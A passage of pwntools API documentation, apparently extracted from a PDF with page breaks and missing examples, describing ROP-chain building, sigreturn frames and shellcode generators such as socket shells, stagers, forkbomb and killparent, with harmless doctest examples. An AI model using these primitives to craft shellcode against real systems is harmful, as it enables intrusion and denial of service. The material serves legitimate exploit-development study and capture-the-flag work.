• elfs (list) – List of ELF objects for mining
• base (int) – Stack address where the first byte of the ROP chain lies, if known.
• badchars (str) – Characters which should not appear in ROP gadget addresses.
build(base=None, description=None)
Construct the ROP chain into a list of elements which can be passed to flat().
Parameters
• base (int) – The base address to build the rop-chain from. Defaults to base.
• description (dict) – Optional output argument, which will gets a mapping of
address: description for each address on the stack, starting at base.
call(resolvable, arguments=(), abi=None, **kwargs)
Add a call to the ROP chain
Parameters
• resolvable (str,int) – Value which can be looked up via ‘resolve’, or is already an
integer.
• arguments (list) – List of arguments which can be passed to pack(). Alternately, if a
base address is set, arbitrarily nested structures of strings or integers can be provided.
chain()
Build the ROP chain
Returns str containing raw ROP bytes
static clear_cache()
Clears the ROP gadget cache
describe(object)
Return a description for an object in the ROP stack
dump()
Dump the ROP chain in an easy-to-read manner
find_gadget(instructions)
Returns a gadget with the exact sequence of instructions specified in the instructions argument.
generatePadding(offset, count)
Generates padding to be inserted into the ROP stack.
migrate(next_base)
Explicitly set $sp, by using a leave; ret gadget
raw(value)
Adds a raw integer or string to the ROP chain.
If your architecture requires aligned values, then make sure that any given string is aligned!
Parameters data (int/str) – The raw value to put onto the rop chain.
resolve(resolvable)
Resolves a symbol to an address
Parameters resolvable (str,int) – Thing to convert into an address
Returns int containing address of ‘resolvable’, or None
search(move=0, regs=None, order=’size’)
Search for a gadget which matches the specified criteria.
Parameters
• move (int) – Minimum number of bytes by which the stack pointer is adjusted.
• regs (list) – Minimum list of registers which are popped off the stack.
• order (str) – Either the string ‘size’ or ‘regs’. Decides how to order multiple gadgets
the fulfill the requirements.
The search will try to minimize the number of bytes popped more than requested, the number of registers
touched besides the requested and the address.
If order == 'size', then gadgets are compared lexicographically by (total_moves,
total_regs, addr), otherwise by (total_regs, total_moves, addr).
Returns A Gadget object
search_iter(move=None, regs=None)
Iterate through all gadgets which move the stack pointer by at least move bytes, and which allow you to
set all registers in regs.
setRegisters(registers)
Returns an list of addresses/values which will set the specified register context.
Parameters registers (dict) – Dictionary of {register name: value}
Returns
A list of tuples, ordering the stack.
Each tuple is in the form of (value, name) where value is either a gadget address or
literal value to go on the stack, and name is either a string name or other item which can be
“unresolved”.
Note: This is basically an implementation of the Set Cover Problem, which is NP-hard. This means
that we will take polynomial time N**2, where N is the number of gadgets. We can reduce runtime by
discarding useless and inferior gadgets ahead of time.
unresolve(value)
Inverts ‘resolve’. Given an address, it attempts to find a symbol for it in the loaded ELF files. If none is
found, it searches all known gadgets, and returns the disassembly
Parameters value (int) – Address to look up
Returns String containing the symbol name for the address, disassembly for a gadget (if there’s
one at that address), or an empty string.
base = None
Stack address where the first byte of the ROP chain lies, if known.
elfs = None
List of ELF files which are available for mining gadgets
migrated = None
Whether or not the ROP chain directly sets the stack pointer to a value which is not contiguous
First, we’ll create our example binary. It just reads some data onto the stack, and invokes the sigreturn
syscall. We also make an int 0x80 gadget available, followed immediately by exit(0).
>>> context.clear(arch='i386')
>>> assembly = 'read:' + shellcraft.read(constants.STDIN_FILENO, 'esp',
˓→ 1024)
Let’s construct our frame to have it invoke a write syscall, and dump the message to stdout.
Let’s start the process, send the data, and check the message.
>>> p = process(binary.path)
>>> p.send(bytes(frame))
>>> p.recvline()
b'Hello, World\n'
>>> p.poll(block=True)
0
amd64 Example:
>>> context.clear()
>>> context.arch = "amd64"
>>> assembly = 'read:' + shellcraft.read(constants.STDIN_FILENO, 'rsp', 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'int3:' + shellcraft.trap()
>>> assembly += 'syscall: ' + shellcraft.syscall()
>>> assembly += 'exit: ' + 'xor rdi, rdi; mov rax, 60; syscall;'
>>> assembly += 'message: ' + ('.asciz "%s"' % message)
>>> binary = ELF.from_assembly(assembly)
>>> frame = SigreturnFrame()
>>> frame.rax = constants.SYS_write
>>> frame.rdi = constants.STDOUT_FILENO
>>> frame.rsi = binary.symbols['message']
>>> frame.rdx = len(message)
>>> frame.rsp = 0xdeadbeef
>>> frame.rip = binary.symbols['syscall']
>>> p = process(binary.path)
>>> p.send(bytes(frame))
>>> p.recvline()
b'Hello, World\n'
>>> p.poll(block=True)
0
arm Example:
>>> context.clear()
>>> context.arch = "arm"
>>> assembly = 'read:' + shellcraft.read(constants.STDIN_FILENO, 'sp', 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'int3:' + shellcraft.trap()
>>> assembly += 'syscall: ' + shellcraft.syscall()
>>> assembly += 'exit: ' + 'eor r0, r0; mov r7, 0x1; swi #0;'
>>> assembly += 'message: ' + ('.asciz "%s"' % message)
>>> binary = ELF.from_assembly(assembly)
>>> frame = SigreturnFrame()
>>> frame.r7 = constants.SYS_write
>>> frame.r0 = constants.STDOUT_FILENO
>>> frame.r1 = binary.symbols['message']
>>> frame.r2 = len(message)
>>> frame.sp = 0xdead0000
>>> frame.pc = binary.symbols['syscall']
>>> p = process(binary.path)
>>> p.send(bytes(frame))
>>> p.recvline()
b'Hello, World\n'
>>> p.wait_for_close()
>>> p.poll(block=True)
0
Mips Example:
>>> context.clear()
>>> context.arch = "mips"
>>> context.endian = "big"
>>> assembly = 'read:' + shellcraft.read(constants.STDIN_FILENO, '$sp', 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'syscall: ' + shellcraft.syscall()
>>> assembly += 'exit: ' + shellcraft.exit(0)
>>> assembly += 'message: ' + ('.asciz "%s"' % message)
>>> binary = ELF.from_assembly(assembly)
>>> frame = SigreturnFrame()
>>> frame.v0 = constants.SYS_write
>>> frame.a0 = constants.STDOUT_FILENO
>>> frame.a1 = binary.symbols['message']
>>> frame.a2 = len(message)
>>> frame.sp = 0xdead0000
>>> frame.pc = binary.symbols['syscall']
>>> p = process(binary.path)
>>> p.send(bytes(frame))
>>> p.recvline()
b'Hello, World\n'
>>> p.poll(block=True)
0
Mipsel Example:
>>> context.clear()
>>> context.arch = "mips"
>>> context.endian = "little"
>>> assembly = 'read:' + shellcraft.read(constants.STDIN_FILENO, '$sp', 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'syscall: ' + shellcraft.syscall()
>>> assembly += 'exit: ' + shellcraft.exit(0)
>>> assembly += 'message: ' + ('.asciz "%s"' % message)
>>> binary = ELF.from_assembly(assembly)
>>> frame = SigreturnFrame()
>>> frame.v0 = constants.SYS_write
>>> frame.a0 = constants.STDOUT_FILENO
>>> frame.a1 = binary.symbols['message']
>>> frame.a2 = len(message)
>>> frame.sp = 0xdead0000
>>> frame.pc = binary.symbols['syscall']
>>> p = process(binary.path)
>>> p.send(bytes(frame))
>>> p.recvline()
b'Hello, World\n'
>>> p.poll(block=True)
0
class pwnlib.rop.srop.SigreturnFrame(**kw)
Crafts a sigreturn frame with values that are loaded up into registers.
Parameters arch (str) – The architecture. Currently i386 and amd64 are supported.
Examples
>>> context.clear(arch='amd64')
>>> s = SigreturnFrame()
>>> unpack_many(bytes(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 51, 0, 0, 0,
˓→ 0, 0, 0, 0]
>>> context.clear(arch='i386')
>>> s = SigreturnFrame(kernel='i386')
>>> unpack_many(bytes(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 115, 0, 0, 123, 0]
>>> assert len(s) == 80
>>> s.eax = 125
>>> s.ebx = 0x00601000
>>> s.ecx = 0x1000
>>> s.edx = 0x7
>>> assert len(bytes(s)) == 80
>>> unpack_many(bytes(s))
[0, 0, 0, 0, 0, 0, 0, 0, 6295552, 7, 4096, 125, 0, 0, 0, 115, 0, 0, 123, 0]
>>> s = SigreturnFrame(arch='arm')
>>> unpack_many(bytes(s))
[0, 0, 0, 0, 0, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
˓→1073741840, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
˓→ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1447448577, 288]
˓→ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1447448577, 288]
>>> context.clear()
>>> context.endian = "big"
>>> s = SigreturnFrame(arch='mips')
>>> unpack_many(bytes(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
˓→0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
˓→ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
˓→ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
>>> context.clear()
>>> context.endian = "little"
>>> s = SigreturnFrame(arch='mips')
>>> unpack_many(bytes(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
˓→0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
˓→ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
˓→ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
>>> context.clear()
>>> context.endian = "little"
>>> s = SigreturnFrame(arch='aarch64')
>>> unpack_many(bytes(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
˓→0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
˓→ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
˓→0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
˓→ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
˓→ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 16384,
˓→0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
˓→ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1179680769, 528]
set_regvalue(reg, val)
Sets a specific reg to a val
pwnlib.runner.run_assembly(*a, **kw)
Given an assembly listing, assemble and execute it.
Returns A pwnlib.tubes.process.process tube to interact with the process.
Example
>>> p = run_assembly('mov r0, #12; mov r7, #1; svc #0', arch='arm')
>>> p.wait_for_close()
>>> p.poll()
12
pwnlib.runner.run_shellcode(*a, **kw)
Given assembled machine code bytes, execute them.
Example
>>> bytes = asm('mov r0, #12; mov r7, #1; svc #0', arch='arm')
>>> p = run_shellcode(bytes, arch='arm')
>>> p.wait_for_close()
>>> p.poll()
12
pwnlib.runner.run_assembly_exitcode(*a, **kw)
Given an assembly listing, assemble and execute it, and wait for the process to die.
Returns The exit code of the process.
Example
pwnlib.runner.run_shellcode_exitcode(*a, **kw)
Given assembled machine code bytes, execute them, and wait for the process to die.
Returns The exit code of the process.
Example
2.24.1 Submodules
pwnlib.shellcraft.aarch64
pwnlib.shellcraft.aarch64.breakpoint()
Inserts a debugger breakpoint (raises SIGTRAP).
Example
>>> run_assembly(shellcraft.breakpoint()).poll(True)
-5
pwnlib.shellcraft.aarch64.crash()
Crashes the process.
Example
>>> run_assembly(shellcraft.crash()).poll(True)
-11
pwnlib.shellcraft.aarch64.infloop()
An infinite loop.
Example
>>> io = run_assembly(shellcraft.infloop())
>>> io.recvall(timeout=1)
b''
>>> io.close()
pwnlib.shellcraft.aarch64.mov(dst, src)
Move src into dest.
Support for automatically avoiding newline and null bytes has to be done.
If src is a string that is not a register, then it will locally set context.arch to ‘arm’ and use pwnlib.
constants.eval() to evaluate the string. Note that this means that this shellcode can change behavior
depending on the value of context.os.
Examples
>>> print(shellcraft.mov('x0','x1').rstrip())
mov x0, x1
>>> print(shellcraft.mov('x0','0').rstrip())
mov x0, xzr
>>> print(shellcraft.mov('x0', 5).rstrip())
mov x0, #5
>>> print(shellcraft.mov('x0', 0x34532).rstrip())
/* Set x0 = 214322 = 0x34532 */
mov x0, #17714
movk x0, #3, lsl #16
Parameters
• dest (str) – The destination register.
• src (str) – Either the input register, or an immediate value.
Note: AArch64 requires that the stack remain 16-byte aligned at all times, so this alignment is preserved.
Parameters
• value (int,str) – The value or register to push
• register1 (str) – Scratch register to use
• register2 (str) – Second scratch register to use
Example
>>> print(pwnlib.shellcraft.push(0).rstrip())
/* push 0 */
mov x14, xzr
str x14, [sp, #-16]!
>>> print(pwnlib.shellcraft.push(1).rstrip())
/* push 1 */
mov x14, #1
(continues on next page)
Examples
>>> print(shellcraft.pushstr("Hello!").rstrip())
/* push b'Hello!\x00' */
/* Set x14 = 36762444129608 = 0x216f6c6c6548 */
mov x14, #25928
movk x14, #27756, lsl #16
movk x14, #8559, lsl #0x20
str x14, [sp, #-16]!
>>> print(shellcraft.pushstr("Hello, world!").rstrip())
/* push b'Hello, world!\x00' */
/* Set x14 = 8583909746840200520 = 0x77202c6f6c6c6548 */
mov x14, #25928
movk x14, #27756, lsl #16
movk x14, #11375, lsl #0x20
movk x14, #30496, lsl #0x30
/* Set x15 = 143418749551 = 0x21646c726f */
mov x15, #29295
movk x15, #25708, lsl #16
movk x15, #33, lsl #0x20
stp x14, x15, [sp, #-16]!
>>> print(shellcraft.pushstr("Hello, world, bienvenue").rstrip())
/* push b'Hello, world, bienvenue\x00' */
(continues on next page)
pwnlib.shellcraft.aarch64.setregs(reg_context, stack_allowed=True)
Sets multiple registers, taking any register dependencies into account (i.e., given eax=1,ebx=eax, set ebx first).
Parameters
• reg_context (dict) – Desired register context
• stack_allowed (bool) – Can the stack be used?
Example
pwnlib.shellcraft.aarch64.trap()
Inserts a debugger breakpoint (raises SIGTRAP).
Example
>>> run_assembly(shellcraft.breakpoint()).poll(True)
-5
Example
pwnlib.shellcraft.aarch64.linux
pwnlib.shellcraft.aarch64.linux.cat(filename, fd=1)
Opens a file and writes its contents to the specified file descriptor.
Example
Example
pwnlib.shellcraft.aarch64.linux.forkexit()
Attempts to fork. If the fork is successful, the parent exits.
pwnlib.shellcraft.aarch64.linux.loader(address)
Loads a statically-linked ELF into memory and transfers control.
Parameters address (int) – Address of the ELF as a register or integer.
pwnlib.shellcraft.aarch64.linux.loader_append(data=None)
Loads a statically-linked ELF into memory and transfers control.
Similar to loader.asm but loads an appended ELF.
Parameters data (str) – If a valid filename, the data is loaded from the named file. Otherwise,
this is treated as raw ELF data to append. If None, it is ignored.
Example:
The following doctest is commented out because it doesn’t work on Travis for reasons I cannot diagnose. How-
ever, it should work just fine :-)
# >>> gcc = process([‘aarch64-linux-gnu-gcc’,’-xc’,’-static’,’-Wl,-Ttext-segment=0x20000000’,’-‘])
# >>> gcc.write(b’‘’ # . . . int main() { # . . . printf(“Hello, %s!\n”, “world”); # . . . } # . . . ‘’‘) # >>>
gcc.shutdown(‘send’) # >>> gcc.poll(True) # 0 # >>> sc = shellcraft.loader_append(‘a.out’) # >>>
run_assembly(sc).recvline() # ‘Hello, world!n’
pwnlib.shellcraft.aarch64.linux.socket(network=’ipv4’, proto=’tcp’)
Creates a new socket
pwnlib.shellcraft.aarch64.linux.stage(fd=0, length=None)
Migrates shellcode to a new buffer.
Parameters
• fd (int) – Integer file descriptor to recv data from. Default is stdin (0).
• length (int) – Optional buffer length. If None, the first pointer-width of data received is
the length.
Example
>>> p = run_assembly(shellcraft.stage())
>>> sc = asm(shellcraft.echo("Hello\n", constants.STDOUT_FILENO))
>>> p.pack(len(sc))
>>> p.send(sc)
>>> p.recvline()
b'Hello\n'
Example
pwnlib.shellcraft.amd64
Example
>>> run_assembly(shellcraft.crash()).poll(True)
-11
pwnlib.shellcraft.amd64.infloop()
A two-byte infinite loop.
pwnlib.shellcraft.amd64.itoa(v, buffer=’rsp’, allocate_stack=True)
Converts an integer into its string representation, and pushes it onto the stack.
Parameters
• v (str, int) – Integer constant or register that contains the value to convert.
• alloca –
Example
pwnlib.shellcraft.amd64.memcpy(dest, src, n)
Copies memory.
Parameters
• dest – Destination address
• src – Source address
• n – Number of bytes
pwnlib.shellcraft.amd64.mov(dest, src, stack_allowed=True)
Move src into dest without newlines and null bytes.
If the src is a register smaller than the dest, then it will be zero-extended to fit inside the larger register.
If the src is a register larger than the dest, then only some of the bits will be used.
If src is a string that is not a register, then it will locally set context.arch to ‘amd64’ and use pwnlib.
constants.eval() to evaluate the string. Note that this means that this shellcode can change behavior
depending on the value of context.os.
Example
>>> print(shellcraft.amd64.mov('eax','ebx').rstrip())
mov eax, ebx
>>> print(shellcraft.amd64.mov('eax', 0).rstrip())
xor eax, eax /* 0 */
>>> print(shellcraft.amd64.mov('ax', 0).rstrip())
xor ax, ax /* 0 */
>>> print(shellcraft.amd64.mov('rax', 0).rstrip())
xor eax, eax /* 0 */
>>> print(shellcraft.amd64.mov('rdi', 'ax').rstrip())
movzx edi, ax
>>> print(shellcraft.amd64.mov('al', 'ax').rstrip())
/* moving ax into al, but this is a no-op */
>>> print(shellcraft.amd64.mov('ax', 'bl').rstrip())
movzx ax, bl
>>> print(shellcraft.amd64.mov('eax', 1).rstrip())
push 1
pop rax
>>> print(shellcraft.amd64.mov('rax', 0xc0).rstrip())
xor eax, eax
mov al, 0xc0
>>> print(shellcraft.amd64.mov('rax', 0xc000).rstrip())
xor eax, eax
mov ah, 0xc000 >> 8
>>> print(shellcraft.amd64.mov('rax', 0xc0c0).rstrip())
(continues on next page)
Parameters
• dest (str) – The destination register.
• src (str) – Either the input register, or an immediate value.
• stack_allowed (bool) – Can the stack be used?
pwnlib.shellcraft.amd64.nop()
A single-byte nop instruction.
pwnlib.shellcraft.amd64.popad()
Pop all of the registers onto the stack which i386 popad does, in the same order.
pwnlib.shellcraft.amd64.push(value)
Pushes a value onto the stack without using null bytes or newline characters.
If src is a string, then we try to evaluate with context.arch = ‘amd64’ using pwnlib.constants.eval()
before determining how to push it. Note that this means that this shellcode can change behavior depending on
Example
>>> print(pwnlib.shellcraft.amd64.push(0).rstrip())
/* push 0 */
push 1
dec byte ptr [rsp]
>>> print(pwnlib.shellcraft.amd64.push(1).rstrip())
/* push 1 */
push 1
>>> print(pwnlib.shellcraft.amd64.push(256).rstrip())
/* push 256 */
push 0x1010201 ^ 0x100
xor dword ptr [rsp], 0x1010201
>>> with context.local(os = 'linux'):
... print(pwnlib.shellcraft.amd64.push('SYS_write').rstrip())
/* push 'SYS_write' */
push 1
>>> with context.local(os = 'freebsd'):
... print(pwnlib.shellcraft.amd64.push('SYS_write').rstrip())
/* push 'SYS_write' */
push 4
pwnlib.shellcraft.amd64.pushad()
Push all of the registers onto the stack which i386 pushad does, in the same order.
pwnlib.shellcraft.amd64.pushstr(string, append_null=True)
Pushes a string onto the stack without using null bytes or newline characters.
Example
>>> print(shellcraft.amd64.pushstr('').rstrip())
/* push b'\x00' */
push 1
dec byte ptr [rsp]
>>> print(shellcraft.amd64.pushstr('a').rstrip())
/* push b'a\x00' */
push 0x61
>>> print(shellcraft.amd64.pushstr('aa').rstrip())
/* push b'aa\x00' */
push 0x1010101 ^ 0x6161
xor dword ptr [rsp], 0x1010101
>>> print(shellcraft.amd64.pushstr('aaa').rstrip())
/* push b'aaa\x00' */
push 0x1010101 ^ 0x616161
xor dword ptr [rsp], 0x1010101
>>> print(shellcraft.amd64.pushstr('aaaa').rstrip())
/* push b'aaaa\x00' */
push 0x61616161
>>> print(shellcraft.amd64.pushstr(b'aaa\xc3').rstrip())
/* push b'aaa\xc3\x00' */
mov rax, 0x101010101010101
push rax
(continues on next page)
Parameters
• string (str) – The string to push.
• append_null (bool) – Whether to append a single NULL-byte before pushing.
pwnlib.shellcraft.amd64.pushstr_array(reg, array)
Pushes an array/envp-style array of pointers onto the stack.
Parameters
• reg (str) – Destination register to hold the pointer.
• array (str,list) – Single argument or list of arguments to push. NULL termination is
normalized so that each argument ends with exactly one NULL byte.
pwnlib.shellcraft.amd64.ret(return_value=None)
A single-byte RET instruction.
Parameters return_value – Value to return
pwnlib.shellcraft.amd64.setregs(reg_context, stack_allowed=True)
Sets multiple registers, taking any register dependencies into account (i.e., given eax=1,ebx=eax, set ebx first).
Parameters
• reg_context (dict) – Desired register context
• stack_allowed (bool) – Can the stack be used?
Example
pwnlib.shellcraft.amd64.strcpy(dst, src)
Copies a string
Example
pwnlib.shellcraft.amd64.strlen(string, reg=’rcx’)
Calculate the length of the specified string.
Parameters
• string (str) – Register or address with the string
• reg (str) – Named register to return the value in, rcx is the default.
Example
pwnlib.shellcraft.amd64.trap()
A trap instruction.
pwnlib.shellcraft.amd64.xor(key, address, count)
XORs data a constant value.
Parameters
• key (int,str) – XOR key either as a 8-byte integer, If a string, length must be a power
of two, and not longer than 8 bytes. Alternately, may be a register.
• address (int) – Address of the data (e.g. 0xdead0000, ‘esp’)
• count (int) – Number of bytes to XOR, or a register containing the number of bytes to
XOR.
Example
pwnlib.shellcraft.amd64.linux
Return value is the address immediately following the match, stored in RDI.
Parameters
• egg (str, int) – String of bytes, or word-size integer to search for
• start_address (int) – Where to start the search
pwnlib.shellcraft.amd64.linux.findpeer(port=None)
Args: port (defaults to any port) Finds a socket, which is connected to the specified port. Leaves socket in RDI.
pwnlib.shellcraft.amd64.linux.findpeersh(port=None)
Args: port (defaults to any) Finds an open socket which connects to a specified port, and then opens a dup2 shell
on it.
pwnlib.shellcraft.amd64.linux.findpeerstager(port=None)
Findpeer recvsize stager :param port, the port given to findpeer: :type port, the port given to findpeer: defaults
to any
pwnlib.shellcraft.amd64.linux.forkbomb()
Performs a forkbomb attack.
pwnlib.shellcraft.amd64.linux.forkexit()
Attempts to fork. If the fork is successful, the parent exits.
pwnlib.shellcraft.amd64.linux.getpid()
Retrieve the current PID
pwnlib.shellcraft.amd64.linux.kill(pid, signal=’SIGKILL’)
Writes a string to a file descriptor
pwnlib.shellcraft.amd64.linux.killparent()
Kills its parent process until whatever the parent is (probably init) cannot be killed any longer.
pwnlib.shellcraft.amd64.linux.listen(port, network)
Listens on a TCP port, accept a client and leave his socket in RAX. Port is the TCP port to listen on, network is
either ‘ipv4’ or ‘ipv6’.
pwnlib.shellcraft.amd64.linux.loader(address)
Loads a statically-linked ELF into memory and transfers control.
Parameters address (int) – Address of the ELF as a register or integer.
pwnlib.shellcraft.amd64.linux.loader_append(data=None)
Loads a statically-linked ELF into memory and transfers control.
Similar to loader.asm but loads an appended ELF.
Parameters data (str) – If a valid filename, the data is loaded from the named file. Otherwise,
this is treated as raw ELF data to append. If None, it is ignored.
Example
>>> gcc.write(b'''
... int main() {
... printf("Hello, %s!\\n", "amd64");
... }
... ''')
>>> gcc.shutdown('send')
(continues on next page)
The following doctest is commented out because it doesn’t work on Travis for reasons I cannot diagnose. How-
ever, it should work just fine :-)
# >>> run_assembly(sc).recvline() == b’Hello, amd64!n’ # True
pwnlib.shellcraft.amd64.linux.membot(readsock=0, writesock=1)
Read-write access to a remote process’ memory.
Provide a single pointer-width value to determine the operation to perform:
• 0: Exit the loop
• 1: Read data
• 2: Write data
pwnlib.shellcraft.amd64.linux.migrate_stack(size=1048576, fd=0)
Migrates to a new stack.
pwnlib.shellcraft.amd64.linux.mmap_rwx(size=4096, protection=7, address=None)
Maps some memory
pwnlib.shellcraft.amd64.linux.read(fd=0, buffer=’rsp’, count=8)
Reads data from the file descriptor into the provided buffer. This is a one-shot and does not fill the request.
pwnlib.shellcraft.amd64.linux.read_upto(fd=0, buffer=’rsp’, sizereg=’rdx’)
Reads up to N bytes 8 bytes into the specified register
pwnlib.shellcraft.amd64.linux.readfile(path, dst=’rdi’)
Args: [path, dst (imm/reg) = rdi ] Opens the specified file path and sends its content to the specified file descrip-
tor.
pwnlib.shellcraft.amd64.linux.readinto(sock=0)
Reads into a buffer of a size and location determined at runtime. When the shellcode is executing, it should send
a pointer and pointer-width size to determine the location and size of buffer.
pwnlib.shellcraft.amd64.linux.readloop(sock=0)
Reads into a buffer of a size and location determined at runtime. When the shellcode is executing, it should send
a pointer and pointer-width size to determine the location and size of buffer.
pwnlib.shellcraft.amd64.linux.readn(fd, buf, nbytes)
Reads exactly nbytes bytes from file descriptor fd into the buffer buf.
Parameters
• fd (int) – fd
• buf (void) – buf
• nbytes (size_t) – nbytes
pwnlib.shellcraft.amd64.linux.readptr(fd=0, target_reg=’rdx’)
Reads 8 bytes into the specified register
pwnlib.shellcraft.amd64.linux.recvsize(sock, reg=’rcx’)
Recives 4 bytes size field Useful in conjuncion with findpeer and stager :param sock, the socket to read the
payload from.: :param reg, the place to put the size: :type reg, the place to put the size: default ecx
Leaves socket in ebx
pwnlib.shellcraft.amd64.linux.setregid(gid=’egid’)
Args: [gid (imm/reg) = egid] Sets the real and effective group id.
pwnlib.shellcraft.amd64.linux.setreuid(uid=’euid’)
Args: [uid (imm/reg) = euid] Sets the real and effective user id.
pwnlib.shellcraft.amd64.linux.sh()
Execute a different process.
>>> p = run_assembly(shellcraft.amd64.linux.sh())
>>> p.sendline(b'echo Hello')
>>> p.recv()
b'Hello\n'
pwnlib.shellcraft.amd64.linux.socket(network=’ipv4’, proto=’tcp’)
Creates a new socket
pwnlib.shellcraft.amd64.linux.stage(fd=0, length=None)
Migrates shellcode to a new buffer.
Parameters
• fd (int) – Integer file descriptor to recv data from. Default is stdin (0).
• length (int) – Optional buffer length. If None, the first pointer-width of data received is
the length.
Example
>>> p = run_assembly(shellcraft.stage())
>>> sc = asm(shellcraft.echo("Hello\n", constants.STDOUT_FILENO))
>>> p.pack(len(sc))
>>> p.send(sc)
>>> p.recvline()
b'Hello\n'
Example
pwnlib.shellcraft.amd64.linux.writeloop(readsock=0, writesock=1)
Reads from a buffer of a size and location determined at runtime. When the shellcode is executing, it should
send a pointer and pointer-width size to determine the location and size of buffer.
pwnlib.shellcraft.arm
Example
>>> run_assembly(shellcraft.crash()).poll(True)
-11
pwnlib.shellcraft.arm.infloop()
An infinite loop.
pwnlib.shellcraft.arm.itoa(v, buffer=’sp’, allocate_stack=True)
Converts an integer into its string representation, and pushes it onto the stack. Uses registers r0-r5.
Parameters
• v (str, int) – Integer constant or register that contains the value to convert.
• alloca –
Example
pwnlib.shellcraft.arm.memcpy(dest, src, n)
Copies memory.
Parameters
Examples
>>> print(shellcraft.arm.mov('r0','r1').rstrip())
mov r0, r1
>>> print(shellcraft.arm.mov('r0', 5).rstrip())
mov r0, #5
>>> print(shellcraft.arm.mov('r0', 0x34532).rstrip())
movw r0, #0x34532 & 0xffff
movt r0, #0x34532 >> 16
>>> print(shellcraft.arm.mov('r0', 0x101).rstrip())
movw r0, #0x101
>>> print(shellcraft.arm.mov('r0', 0xff << 14).rstrip())
mov r0, #0x3fc000
>>> print(shellcraft.arm.mov('r0', 0xff << 15).rstrip())
movw r0, #0x7f8000 & 0xffff
movt r0, #0x7f8000 >> 16
>>> print(shellcraft.arm.mov('r0', 0xf00d0000).rstrip())
eor r0, r0
movt r0, #0xf00d0000 >> 16
>>> print(shellcraft.arm.mov('r0', 0xffff00ff).rstrip())
mvn r0, #(0xffff00ff ^ (-1))
>>> print(shellcraft.arm.mov('r0', 0x1fffffff).rstrip())
mvn r0, #(0x1fffffff ^ (-1))
Parameters
• dest (str) – ke destination register.
• src (str) – Either the input register, or an immediate value.
pwnlib.shellcraft.arm.nop()
A nop instruction.
pwnlib.shellcraft.arm.push(word, register=’r12’)
Pushes a 32-bit integer onto the stack. Uses r12 as a temporary register.
r12 is defined as the inter-procedural scartch register ($ip), so this should not interfere with most usage.
Parameters
• word (int, str) – The word to push
• tmpreg (str) – Register to use as a temporary register. R7 is used by default.
pwnlib.shellcraft.arm.pushstr(string, append_null=True, register=’r7’)
Pushes a string onto the stack.
Parameters
• string (str) – The string to push.
• append_null (bool) – Whether to append a single NULL-byte before pushing.
• register (str) – Temporary register to use. By default, R7 is used.
Examples
>>> print(shellcraft.arm.pushstr("Hello!").rstrip())
/* push b'Hello!\x00A' */
movw r7, #0x4100216f & 0xffff
movt r7, #0x4100216f >> 16
push {r7}
movw r7, #0x6c6c6548 & 0xffff
movt r7, #0x6c6c6548 >> 16
push {r7}
pwnlib.shellcraft.arm.pushstr_array(reg, array)
Pushes an array/envp-style array of pointers onto the stack.
Parameters
• reg (str) – Destination register to hold the pointer.
• array (str,list) – Single argument or list of arguments to push. NULL termination is
normalized so that each argument ends with exactly one NULL byte.
pwnlib.shellcraft.arm.ret(return_value=None)
A single-byte RET instruction.
Parameters return_value – Value to return
Examples
pwnlib.shellcraft.arm.setregs(reg_context, stack_allowed=True)
Sets multiple registers, taking any register dependencies into account (i.e., given eax=1,ebx=eax, set ebx first).
Parameters
• reg_context (dict) – Desired register context
• stack_allowed (bool) – Can the stack be used?
Example
pwnlib.shellcraft.arm.to_thumb(reg=None, avoid=[])
